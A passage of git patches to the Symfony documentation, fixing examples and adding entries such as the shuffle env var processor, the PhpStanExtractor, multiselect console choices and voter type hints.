         'organizer_gender' => 'not_applicable',
     ]);
 
@@ -179,7 +179,7 @@ you to use literal text in the select statements:
     While it might seem more logical to only put ``her``, ``his`` or ``their``
     in the switch statement, it is better to use "complex arguments" at the
     outermost structure of the message. The strings are in this way better
-    readable for translators and, as you can see in the ``multi`` case, other
+    readable for translators and, as you can see in the ``multiple`` case, other
     parts of the sentence might be influenced by the variables.
 
 .. tip::
@@ -188,10 +188,10 @@ you to use literal text in the select statements:
     without having to define them in any file::
 
         $invitation = '{organizer_gender, select,
-            female {{organizer_name} has invited you to her party!}
-            male   {{organizer_name} has invited you to his party!}
-            multi  {{organizer_name} have invited you to their party!}
-            other  {{organizer_name} has invited you to their party!}
+            female   {{organizer_name} has invited you to her party!}
+            male     {{organizer_name} has invited you to his party!}
+            multiple {{organizer_name} have invited you to their party!}
+            other    {{organizer_name} has invited you to their party!}
         }';
 
         // prints "Ryan has invited you to his party!"

From d68d7ee3c62dd422323ea1f49ea1eca35541797b Mon Sep 17 00:00:00 2001
From: Arman Hosseini <namra.1377@gmail.com>
Date: Sun, 10 Jul 2022 00:19:27 +0430
Subject: [PATCH 2026/5766] Use --webapp flag instead of --full

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 685a89afdb1..69dc5e3f35f 100644
--- a/setup.rst
+++ b/setup.rst
@@ -50,13 +50,13 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version=4.4 --full
+    $ symfony new my_project_directory --version=4.4 --webapp
 
     # run this if you are building a microservice, console application or API
     $ symfony new my_project_directory --version=4.4
 
 The only difference between these two commands is the number of packages
-installed by default. The ``--full`` option installs all the packages that you
+installed by default. The ``--webapp`` option installs all the packages that you
 usually need to build web applications, so the installation size will be bigger.
 
 If you're not using the Symfony binary, run these commands to create the new

From 12c1059f83ecf46ed23aaaafc03b8a91f0454a55 Mon Sep 17 00:00:00 2001
From: Mokhtar Tlili <tlili.mokhtar@gmail.com>
Date: Sun, 10 Jul 2022 12:41:13 +0200
Subject: [PATCH 2027/5766] Adjust variable name

Adjust variable name to be like the definition in VoterInterface
---
 components/security/authorization.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index d1df7d1f8bb..dee133d53d5 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -87,7 +87,7 @@ of :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\VoterInterf
 which means they have to implement a few methods which allows the decision
 manager to use them:
 
-``vote(TokenInterface $token, $object, array $attributes)``
+``vote(TokenInterface $token, $subject, array $attributes)``
     this method will do the actual voting and return a value equal to one
     of the class constants of :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\VoterInterface`,
     i.e. ``VoterInterface::ACCESS_GRANTED``, ``VoterInterface::ACCESS_DENIED``

From 52f80e97ab9fe323d32e79abf2a716a8f6e04284 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gabriel=20Ostroluck=C3=BD?= <gabriel.ostrolucky@gmail.com>
Date: Sun, 10 Jul 2022 22:25:06 +0200
Subject: [PATCH 2028/5766] [DependencyInjection] Add shuffle env var processor
 documentation

Closes #16961
---
 configuration/env_var_processors.rst | 53 ++++++++++++++++++++++++++++
 1 file changed, 53 insertions(+)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 35a247dd6fa..feea91dd3d4 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -378,6 +378,59 @@ Symfony provides the following env var processors:
                 $container->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
                 $framework->trustedHosts(env('TRUSTED_HOSTS')->csv());
             };
+``env(shuffle:FOO)``
+    Randomly shuffles values of ``FOO``, which is an array.
+    Usable when combining with other processors, as array is a prerequisite.
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/framework.yaml
+            parameters:
+                env(REDIS_NODES): "127.0.0.1:6380,127.0.0.1:6381"
+            services:
+                RedisCluster:
+                    class: RedisCluster
+                    arguments: [null, "%env(shuffle:csv:REDIS_NODES)%"]
+
+        .. code-block:: xml
+
+            <!-- config/packages/framework.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:framework="http://symfony.com/schema/dic/symfony"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <parameters>
+                    <parameter key="env(REDIS_NODES)">redis://127.0.0.1:6380,redis://127.0.0.1:6381</parameter>
+                </parameters>
+
+                <services>
+                    <service id="RedisCluster" class="RedisCluster">
+                        <argument>null</argument>
+                        <argument>%env(shuffle:csv:REDIS_NODES)%</argument>
+                    </service>
+                </services>
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+            return static function (ContainerConfigurator $configurator): void {
+                $container = $configurator->services()
+                    ->set(\RedisCluster::class, \RedisCluster::class)->args([null, '%env(shuffle:csv:REDIS_NODES)%']);
+            };
+
+.. versionadded:: 6.2
+
+    The ``env(shuffle:...)`` env var processor was introduced in Symfony 6.2.
 
 ``env(file:FOO)``
     Returns the contents of a file whose path is the value of the ``FOO`` env var:

From 33d4a8661146677017a8d033b59404a81e3d7fac Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 11 Jul 2022 10:55:58 +0200
Subject: [PATCH 2029/5766] [Console] Add Multiselect to choice()

---
 console/style.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/console/style.rst b/console/style.rst
index cfe6502b3fd..57b2d8594fb 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -324,6 +324,12 @@ User Input Methods
 
         $io->choice('Select the queue to analyze', ['queue1', 'queue2', 'queue3'], 'queue1');
 
+    Finally, you can specify that user can select multiple choices. User must
+    separate each choice with a comma (e.g. typing ``1, 2`` will select choice 1
+    and 2)::
+
+        $io->choice('Select the queue to analyze', ['queue1', 'queue2', 'queue3'], multiSelect: true);
+
 Result Methods
 ~~~~~~~~~~~~~~
 

From 0d99409357438d3cdb08a241e29438dea256cec5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Jul 2022 13:04:26 +0200
Subject: [PATCH 2030/5766] Minor tweaks

---
 configuration/env_var_processors.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index feea91dd3d4..658a05163df 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -378,9 +378,9 @@ Symfony provides the following env var processors:
                 $container->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
                 $framework->trustedHosts(env('TRUSTED_HOSTS')->csv());
             };
+
 ``env(shuffle:FOO)``
-    Randomly shuffles values of ``FOO``, which is an array.
-    Usable when combining with other processors, as array is a prerequisite.
+    Randomly shuffles values of the ``FOO`` env var, which must be an array.
 
     .. configuration-block::
 
@@ -428,9 +428,9 @@ Symfony provides the following env var processors:
                     ->set(\RedisCluster::class, \RedisCluster::class)->args([null, '%env(shuffle:csv:REDIS_NODES)%']);
             };
 
-.. versionadded:: 6.2
+    .. versionadded:: 6.2
 
-    The ``env(shuffle:...)`` env var processor was introduced in Symfony 6.2.
+        The ``env(shuffle:...)`` env var processor was introduced in Symfony 6.2.
 
 ``env(file:FOO)``
     Returns the contents of a file whose path is the value of the ``FOO`` env var:
@@ -794,9 +794,9 @@ Symfony provides the following env var processors:
             // config/services.php
             $container->setParameter('typed_env', '%env(enum:App\Enum\Environment:APP_ENV)%');
 
-.. versionadded:: 6.2
+    .. versionadded:: 6.2
 
-    The ``env(enum:...)`` env var processor was introduced in Symfony 6.2.
+        The ``env(enum:...)`` env var processor was introduced in Symfony 6.2.
 
 It is also possible to combine any number of processors:
 

From 357781bbaf240a0c7ac6c1e945aef184e864bdbf Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 8 Jul 2022 11:18:39 +0200
Subject: [PATCH 2031/5766] [PropertyInfo] Add PhpStan extractor to
 PropertyInfo available extractors

---
 components/property_info.rst | 34 +++++++++++++++++++++++++++++++++-
 1 file changed, 33 insertions(+), 1 deletion(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index dfd22c9d2b3..272a3ae610f 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -411,6 +411,37 @@ library is present::
     $phpDocExtractor->getShortDescription($class, $property);
     $phpDocExtractor->getLongDescription($class, $property);
 
+PhpStanExtractor
+~~~~~~~~~~~~~~~
+
+.. note::
+
+    This extractor depends on the `phpstan/phpdoc-parser`_ and
+    `phpdocumentor/reflection-docblock`_ libraries.
+
+This extractor fetches information thanks to the PHPStan parser. It gathers
+information from annotations of properties and methods, such as ``@var``,
+``@param`` or ``@return``::
+
+    // src/Domain/Foo.php
+    class Foo
+    {
+        private $bar;
+
+        /**
+         * @param string $bar
+         */
+        public function __construct($bar) {
+            $this->bar = $bar;
+        }
+    }
+
+    // Extraction.php
+    use Symfony\Component\PropertyInfo\Extractor\PhpStanExtractor;
+
+    $phpStanExtractor = new PhpStanExtractor();
+    $phpStanExtractor->getTypesFromConstructor(Foo::class, 'bar');
+
 SerializerExtractor
 ~~~~~~~~~~~~~~~~~~~
 
@@ -436,7 +467,7 @@ with the ``property_info`` service in the Symfony Framework::
 
     // the `serializer_groups` option must be configured (may be set to null)
     $serializerExtractor->getProperties($class, ['serializer_groups' => ['mygroup']]);
-   
+
 If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be
 checked but you will get only the properties considered by the Serializer
 Component (notably the ``@Ignore`` annotation is taken into account).
@@ -497,6 +528,7 @@ service by defining it as a service with one or more of the following
 
 .. _`phpDocumentor Reflection`: https://github.com/phpDocumentor/ReflectionDocBlock
 .. _`phpdocumentor/reflection-docblock`: https://packagist.org/packages/phpdocumentor/reflection-docblock
+.. _`phpstan/phpdoc-parser`: https://packagist.org/packages/phpstan/phpdoc-parser
 .. _`Doctrine ORM`: https://www.doctrine-project.org/projects/orm.html
 .. _`symfony/serializer`: https://packagist.org/packages/symfony/serializer
 .. _`symfony/doctrine-bridge`: https://packagist.org/packages/symfony/doctrine-bridge

From 693437e0ddc3364bce2033cd8f23466df4f2f075 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Jul 2022 15:27:48 +0200
Subject: [PATCH 2032/5766] Minor tweaks

---
 components/property_info.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 272a3ae610f..7a2e570717d 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -412,7 +412,7 @@ library is present::
     $phpDocExtractor->getLongDescription($class, $property);
 
 PhpStanExtractor
-~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~
 
 .. note::
 
@@ -442,6 +442,10 @@ information from annotations of properties and methods, such as ``@var``,
     $phpStanExtractor = new PhpStanExtractor();
     $phpStanExtractor->getTypesFromConstructor(Foo::class, 'bar');
 
+.. versionadded:: 6.1
+
+    The ``PhpStanExtractor`` was introduced in Symfony 6.1.
+
 SerializerExtractor
 ~~~~~~~~~~~~~~~~~~~
 

From 71ff91826d1113dc981c5687a8629714cc00cee5 Mon Sep 17 00:00:00 2001
From: matthieudelmas <95386861+matthieudelmas@users.noreply.github.com>
Date: Wed, 22 Jun 2022 12:38:15 +0200
Subject: [PATCH 2033/5766] Fix documentation symfony notifier

Fix empty notification in ChatMessage when message customization
---
 notifier.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index d015af8e94b..b6a76ad86a1 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -697,7 +697,7 @@ and its ``asChatMessage()`` method::
     use Symfony\Component\Notifier\Message\ChatMessage;
     use Symfony\Component\Notifier\Notification\ChatNotificationInterface;
     use Symfony\Component\Notifier\Notification\Notification;
-    use Symfony\Component\Notifier\Recipient\SmsRecipientInterface;
+    use Symfony\Component\Notifier\Recipient\RecipientInterface;
 
     class InvoiceNotification extends Notification implements ChatNotificationInterface
     {
@@ -710,10 +710,11 @@ and its ``asChatMessage()`` method::
 
         public function asChatMessage(RecipientInterface $recipient, string $transport = null): ?ChatMessage
         {
-            // Add a custom emoji if the message is sent to Slack
+            // Add a custom subject and emoji if the message is sent to Slack
             if ('slack' === $transport) {
-                return (new ChatMessage('You\'re invoiced '.$this->price.' EUR.'))
-                    ->emoji('money');
+                $this->subject('You\'re invoiced '.strval($this->price).' EUR.');
+                $this->emoji("money");
+                return ChatMessage::fromNotification($this);
             }
 
             // If you return null, the Notifier will create the ChatMessage

From e78437285b4c0b07bc337c61051342636aa76fa8 Mon Sep 17 00:00:00 2001
From: royswale <royswale@gmail.com>
Date: Fri, 1 Jul 2022 09:29:46 +0800
Subject: [PATCH 2034/5766] Update workflow-and-state-machine.rst

---
 workflow/workflow-and-state-machine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 6ef73aa60cf..10ec2fbf4b6 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -244,7 +244,7 @@ Below is the configuration for the pull request state machine.
                     ->to(['closed']);
 
             $pullRequest->transition()
-                ->name('accept')
+                ->name('reopen')
                     ->from(['closed'])
                     ->to(['review']);
         };

From fb6d0964416be520669b7031dfcde809a3f5d079 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Mon, 11 Jul 2022 18:08:18 +0200
Subject: [PATCH 2035/5766] Add Zendesk notifier in the chat channel section

---
 notifier.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 1052b75a816..820650e3e7d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -190,9 +190,14 @@ MicrosoftTeams  ``symfony/microsoft-teams-notifier``  ``microsoftteams://default
 RocketChat      ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Slack           ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
 Telegram        ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
+Zendesk         ``symfony/zendesk-notifier``          ``ZENDESK_DSN=zendesk://EMAIL:TOKEN@SUBDOMAIN``
 Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
 ==============  ====================================  =============================================================================
 
+.. versionadded:: 6.2
+
+    The Zendesk integration was introduced in Symfony 6.2.
+
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash

From f887a21241631ea6d707c309d568dea988ef4350 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 12 Jul 2022 16:10:36 +0200
Subject: [PATCH 2036/5766] Switch to const `Cookie::SAMESITE_LAX`

...to make the available options more obvious.
---
 session.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index ec9982ae921..55bc2be1a0c 100644
--- a/session.rst
+++ b/session.rst
@@ -57,6 +57,7 @@ sessions, check their default configuration:
     .. code-block:: php
 
         // config/packages/framework.php
+        use Symfony\Component\HttpFoundation\Cookie;
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework) {
@@ -69,7 +70,7 @@ sessions, check their default configuration:
                 ->handlerId(null)
                 // improves the security of the cookies used for sessions
                 ->cookieSecure('auto')
-                ->cookieSamesite('lax')
+                ->cookieSamesite(Cookie::SAMESITE_LAX)
                 ->storage_factory_id('session.storage.factory.native')
             ;
         };

From 43f692e11f91ef14bdefb3a4cdaa0a81f8ff1c18 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 13 Jul 2022 17:47:22 +0200
Subject: [PATCH 2037/5766] Add the versionadded directive

---
 console/style.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/console/style.rst b/console/style.rst
index 57b2d8594fb..6603fc30ffa 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -324,12 +324,16 @@ User Input Methods
 
         $io->choice('Select the queue to analyze', ['queue1', 'queue2', 'queue3'], 'queue1');
 
-    Finally, you can specify that user can select multiple choices. User must
+    Finally, you can allow users to select multiple choices. To do so, users must
     separate each choice with a comma (e.g. typing ``1, 2`` will select choice 1
     and 2)::
 
         $io->choice('Select the queue to analyze', ['queue1', 'queue2', 'queue3'], multiSelect: true);
 
+.. versionadded:: 6.2
+
+    The ``multiSelect`` option of ``choice()`` was introduced in Symfony 6.2.
+
 Result Methods
 ~~~~~~~~~~~~~~
 

From cc545179bf39d938a40935d94dcc9554b1bb3d18 Mon Sep 17 00:00:00 2001
From: Alan Poulain <contact@alanpoulain.eu>
Date: Wed, 13 Jul 2022 17:51:15 +0200
Subject: [PATCH 2038/5766] fix(serializer): missing empty_array_as_object in
 example

---
 serializer.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 0b705aa5a41..f404608133c 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -102,12 +102,15 @@ resources. This context is passed to all normalizers. For example:
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` uses
   ``datetime_format`` key as date time format;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractObjectNormalizer`
-  uses ``empty_iterable_as_object`` to represent empty objects as ``{}`` instead
+  uses ``preserve_empty_objects`` to represent empty objects as ``{}`` instead
+  of ``[]`` in JSON.
+* :class:`Symfony\\Component\\Serializer\\Serializer`
+  uses ``empty_array_as_object`` to represent empty arrays as ``{}`` instead
   of ``[]`` in JSON.
 
 .. versionadded:: 5.4
 
-    The usage of the ``empty_array_as_object`` option by default in the
+    The usage of the ``empty_array_as_object`` option in the
     Serializer was introduced in Symfony 5.4.
 
 You can pass the context as follows::

From 5c19417be6690894f8e9a49b0cef8f527fea9708 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 13 Jul 2022 20:12:40 +0200
Subject: [PATCH 2039/5766] Minor

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 820650e3e7d..aa2ed34c78c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -190,7 +190,7 @@ MicrosoftTeams  ``symfony/microsoft-teams-notifier``  ``microsoftteams://default
 RocketChat      ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Slack           ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
 Telegram        ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
-Zendesk         ``symfony/zendesk-notifier``          ``ZENDESK_DSN=zendesk://EMAIL:TOKEN@SUBDOMAIN``
+Zendesk         ``symfony/zendesk-notifier``          ``zendesk://EMAIL:TOKEN@SUBDOMAIN``
 Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
 ==============  ====================================  =============================================================================
 

From 0b546b1c1f46d8ddc3f8560af09e2ff46fb6310b Mon Sep 17 00:00:00 2001
From: mgasmi <mohamed.gasmi.info@gmail.com>
Date: Thu, 14 Jul 2022 17:11:39 +0200
Subject: [PATCH 2040/5766] [Security] Update security.rst

Fixing display php code block
---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index f1a0bd6bf05..9639d7c7e9a 100644
--- a/security.rst
+++ b/security.rst
@@ -930,7 +930,7 @@ Next, you'll need to create a route for this URL (but not a controller):
             <route id="app_logout" path="/logout" methods="GET"/>
         </routes>
 
-    ..  code-block:: php
+    .. code-block:: php
 
         // config/routes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;

From 39381686d5a52585fdc1c5d39a2e6b714e1e7435 Mon Sep 17 00:00:00 2001
From: JohJohan <johan.vlaar.1994@gmail.com>
Date: Sun, 10 Oct 2021 20:28:50 +0200
Subject: [PATCH 2041/5766] 14123 [Serializer] Document denormalize groups
 value '*'

---
 components/serializer.rst | 27 ++++++++++++++++++++++++++-
 1 file changed, 26 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index acd7de09d6a..2d7a7ca8890 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -306,6 +306,11 @@ Then, create your groups definition:
              */
             public $foo;
 
+            /**
+             * @Groups({"group4"})
+             */
+            public $anotherProperty;
+
             /**
              * @Groups("group3")
              */
@@ -328,6 +333,9 @@ Then, create your groups definition:
             #[Groups(['group1', 'group2'])]
             public $foo;
 
+            #[Groups(['group4'])]
+            public $anotherProperty;
+
             #[Groups(['group3'])]
             public function getBar() // is* methods are also supported
             {
@@ -343,6 +351,8 @@ Then, create your groups definition:
             attributes:
                 foo:
                     groups: ['group1', 'group2']
+                anotherProperty:
+                    groups: ['group4']
                 bar:
                     groups: ['group3']
 
@@ -360,6 +370,10 @@ Then, create your groups definition:
                     <group>group2</group>
                 </attribute>
 
+                <attribute name="anotherProperty">
+                    <group>group4</group>
+                </attribute>
+
                 <attribute name="bar">
                     <group>group3</group>
                 </attribute>
@@ -373,6 +387,7 @@ You are now able to serialize only attributes in the groups you want::
 
     $obj = new MyObj();
     $obj->foo = 'foo';
+    $obj->anotherProperty = 'anotherProperty';
     $obj->setBar('bar');
 
     $normalizer = new ObjectNormalizer($classMetadataFactory);
@@ -382,13 +397,23 @@ You are now able to serialize only attributes in the groups you want::
     // $data = ['foo' => 'foo'];
 
     $obj2 = $serializer->denormalize(
-        ['foo' => 'foo', 'bar' => 'bar'],
+        ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'],
         'MyObj',
         null,
         ['groups' => ['group1', 'group3']]
     );
     // $obj2 = MyObj(foo: 'foo', bar: 'bar')
 
+    // You can use `groups` with value `*` to get all groups:
+
+    $obj3 = $serializer->denormalize(
+        ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'],
+        'MyObj',
+        null,
+        ['groups' => ['*']]
+    );
+    // $obj2 = MyObj(foo: 'foo', anotherProperty: 'anotherProperty', bar: 'bar')
+
 .. _ignoring-attributes-when-serializing:
 
 Selecting Specific Attributes

From 5b236ab19af2483e139b6792b6a8df1d4b6bb398 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=C5=81ukasz=20Chru=C5=9Bciel?= <lchrusciel@gmail.com>
Date: Fri, 15 Jul 2022 14:19:15 +0200
Subject: [PATCH 2042/5766] Add information about flex plugin allowance

---
 bundles/best_practices.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index f18cdba8352..c0c96b23289 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -227,7 +227,7 @@ Require a Specific Symfony Version
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 You can use the special ``SYMFONY_REQUIRE`` environment variable together
-with Symfony Flex to install a specific Symfony version:
+with Symfony to install a specific Symfony version:
 
 .. code-block:: bash
 
@@ -235,6 +235,7 @@ with Symfony Flex to install a specific Symfony version:
     export SYMFONY_REQUIRE=5.*
 
     # install Symfony Flex in the CI environment
+    composer global config --no-plugins allow-plugins.symfony/flex true
     composer global require --no-progress --no-scripts --no-plugins symfony/flex
 
     # install the dependencies (using --prefer-dist and --no-progress is

From 83fe16ad8534d74368b24bb9770341451b9bf0f6 Mon Sep 17 00:00:00 2001
From: mgasmi <mohamed.gasmi.info@gmail.com>
Date: Fri, 15 Jul 2022 21:48:10 +0200
Subject: [PATCH 2043/5766] [Security] Add type hints

-Added type hint for $subject to be like the definition in Voter and VoterInterface.
-$subject type hint added in V 6.0
---
 security/voters.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 600fee884dd..a69ff914af6 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -47,8 +47,8 @@ which makes creating a voter even easier::
 
     abstract class Voter implements VoterInterface
     {
-        abstract protected function supports(string $attribute, $subject);
-        abstract protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token);
+        abstract protected function supports(string $attribute, mixed $subject);
+        abstract protected function voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token);
     }
 
 .. _how-to-use-the-voter-in-a-controller:
@@ -129,7 +129,7 @@ would look like this::
         const VIEW = 'view';
         const EDIT = 'edit';
 
-        protected function supports(string $attribute, $subject): bool
+        protected function supports(string $attribute, mixed $subject): bool
         {
             // if the attribute isn't one we support, return false
             if (!in_array($attribute, [self::VIEW, self::EDIT])) {
@@ -144,7 +144,7 @@ would look like this::
             return true;
         }
 
-        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token): bool
+        protected function voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token): bool
         {
             $user = $token->getUser();
 
@@ -189,7 +189,7 @@ That's it! The voter is done! Next, :ref:`configure it <declaring-the-voter-as-a
 
 To recap, here's what's expected from the two abstract methods:
 
-``Voter::supports(string $attribute, $subject)``
+``Voter::supports(string $attribute, mixed $subject)``
     When ``isGranted()`` (or ``denyAccessUnlessGranted()``) is called, the first
     argument is passed here as ``$attribute`` (e.g. ``ROLE_USER``, ``edit``) and
     the second argument (if any) is passed as ``$subject`` (e.g. ``null``, a ``Post``
@@ -199,7 +199,7 @@ To recap, here's what's expected from the two abstract methods:
     return ``true`` if the attribute is ``view`` or ``edit`` and if the object is
     a ``Post`` instance.
 
-``voteOnAttribute(string $attribute, $subject, TokenInterface $token)``
+``voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token)``
     If you return ``true`` from ``supports()``, then this method is called. Your
     job is to return ``true`` to allow access and ``false`` to deny access.
     The ``$token`` can be used to find the current user object (if any). In this
@@ -242,7 +242,7 @@ with ``ROLE_SUPER_ADMIN``::
             $this->security = $security;
         }
 
-        protected function voteOnAttribute($attribute, $subject, TokenInterface $token): bool
+        protected function voteOnAttribute($attribute, mixed $subject, TokenInterface $token): bool
         {
             // ...
 

From af248b7463a1c3c98ae7696f376a64248fe31eea Mon Sep 17 00:00:00 2001
From: mgasmi <mohamed.gasmi.info@gmail.com>
Date: Fri, 15 Jul 2022 23:13:54 +0200
Subject: [PATCH 2044/5766] [Security] update strategy number

Strategies : affirmative, consensus, unaminous and priority (introduced in V 5.1)
---
 security/voters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index c86818d2978..90cc1178225 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -275,7 +275,7 @@ checks if the user is a member of the site and a second one that checks if the u
 is older than 18.
 
 To handle these cases, the access decision manager uses a "strategy" which you can configure.
-There are three strategies available:
+There are four strategies available:
 
 ``affirmative`` (default)
     This grants access as soon as there is *one* voter granting access;

From 4f152cd24eacf2dd0d763ae31bc7e8ea30cc7cfa Mon Sep 17 00:00:00 2001
From: mgasmi <mohamed.gasmi.info@gmail.com>
Date: Sat, 16 Jul 2022 19:04:14 +0200
Subject: [PATCH 2045/5766] [Security] Update custom_authenticator

Adjust authenticate() return type & createToken $passport typehint to be like the definition in AuthenticatorInterface
---
 security/custom_authenticator.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 4178e254904..061852878a3 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -355,7 +355,7 @@ authenticator methods (e.g. ``createToken()``)::
     {
         // ...
 
-        public function authenticate(Request $request): PassportInterface
+        public function authenticate(Request $request): Passport
         {
             // ... process the request
 
@@ -367,7 +367,7 @@ authenticator methods (e.g. ``createToken()``)::
             return $passport;
         }
 
-        public function createToken(PassportInterface $passport, string $firewallName): TokenInterface
+        public function createToken(Passport $passport, string $firewallName): TokenInterface
         {
             // read the attribute value
             return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope'));

From a31ba86a3c158c32aa5a7c4b4155d0c61cab060d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 17 Jul 2022 22:25:50 +0200
Subject: [PATCH 2046/5766] Updating Link

---
 reference/constraints/Email.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index ddf462ef6b4..a4d0721a99a 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -145,4 +145,4 @@ configuration option.
 
 .. _egulias/email-validator: https://packagist.org/packages/egulias/email-validator
 .. _HTML5 email input element: https://www.w3.org/TR/html5/sec-forms.html#valid-e-mail-address
-.. _RFC 5322: https://tools.ietf.org/html/rfc5322
+.. _RFC 5322: https://datatracker.ietf.org/doc/html/rfc5322

